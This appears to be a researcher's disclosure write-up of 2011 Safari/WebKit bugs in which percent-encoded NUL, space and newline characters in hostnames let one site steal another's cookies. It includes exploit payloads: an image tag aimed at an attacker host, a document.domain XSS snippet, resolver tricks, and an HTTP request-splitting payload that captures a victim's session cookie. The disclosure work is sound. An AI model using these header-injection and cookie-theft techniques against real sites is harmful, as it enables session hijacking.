For the longest time, Safari has been internally URL-decoding parts of the URL before reporting them back to JS land:
This caused some issues with client-side security measures (they would disagree with the client more than the usual amount), but it wasn't world-endingly terrible.
Now fast forward to the release of OS X 10.7 "Lion", which included a rewrite of WebKit and some of the networking stack, applying the same logic to hostnames.
<img src=http://attacker.website%00.victim.website/>
With that URL suddenly valid, the host name now had a NUL in it, which was passed on to the
victim.website
attacker.website
The end result being that any site site could steal any other site's cookies with a single image tag, and the victim site would not see any indication that this was happening – not as much as a DNS lookup (non-SSL for now, but keep reading)
2011-09-09: %00
vector reported to Apple
2011-09-17: More vectors reported (see part 3)
2011-10-12: iOS 5 and OS X 10.7.2 released with a partial fix for
The patch for CVE-2011-3246 worked by changing CFNetwork's cookie handling to no longer return any cookies for domain names containing null bytes.
This means the exact exploit above no longer delivered any cookies. However, Safari still made the request, and the response was interpreted as a subdomain of victim.website
for document.domain
purposes. If any part of the victim site set document.domain
, you could run something like this and get a full XSS:
<!-- Served from http://victim.website%00.attacker.website/evil.html --> <script> document.domain = 'victim.website'; </script> <iframe src="http://victim.website/subpage-that-lowers/" onload="this.contentWindow.eval('.....')">
A second vector allowed much the same exploit as CVE-2011-3246, because of a quirk of the OS X resolver:
mac# perl -e 'print unpack "H*", gethostbyname "127.0.0.1";' 7f000001 mac# perl -e 'print unpack "H*", gethostbyname "127.0.0.1 .unrelated.com";' 7f000001 mac#
linux# perl -e 'print unpack "H*", gethostbyname "127.0.0.1"; ' 7f000001 linux# perl -e 'print unpack "H*", gethostbyname "127.0.0.1 .unrelated.com"; ' linux#
Thus a URL like http://127.0.0.1%20.victim.website/
would still ship the user's cookies off into the void.
As an extra bonus, 0x7f000001%20.victim.website
gives the same result with no dots in the host name – this turns out to be very useful if the site uses HTTPS.
2011-10-13: Apple notified previous fix was incomplete
2011-11-10: Patched in iOS 5.0.1 (
2012-02-01: Patched in OS X 10.7.3
Besides the DNS lookup and cookie fetch, the host names also ends up in the HTTP request. For a URL like http://127.0.0.1%0a.example.com/
, Safari would send an invalid HTTP request:
GET / HTTP/1.1 Host: 127.0.0.1 .example.com Connection: keep-alive Cookie: foo=1 ...
Since there's limited room in the host name, a good way to exploit this is to send two POSTs to
http://x%0aContent-Length%3a99%0a%0a.victim.website/1
... resulting in network traffic like this:
POST /1 HTTP/1.1 |- First client request |- First request, Host: x | | as seen by server Content-Length: 99 | | | User-Agent: blah | : Cookie: session=alice123 | : Content-Length: 150 | : : ⁞ : : ⁞ (newlines for padding, since we don't know : ⁞ the exact length of the cookie header) : ⁞ : : POST /save-content HTTP/1.1 : |- Second request, Content-Type: multipart/form-data; boundary=foo : | as seen by server Cookie: session=mallory123 : | Host: victim.website : | : --foo : : Content-Disposition: form-data; name="content" : : : : POST /1 HTTP/1.1 |- Second client request : Host: x | : Content-Length: 99 | : | : User-Agent: blah | : Cookie: session=alice123 | : Content-Length: 42 | : : --foo-- : : ⁞ : : ⁞ (more padding here) : ⁞ :
This attack can be detected by garbage in the SNI field, but most servers ignore that.
2011-09-17: Reported to Apple that %20 and %0A in combination allowed stealing cookies over SSL via request splitting.
2012-03-07: iOS 5.1 released, fix for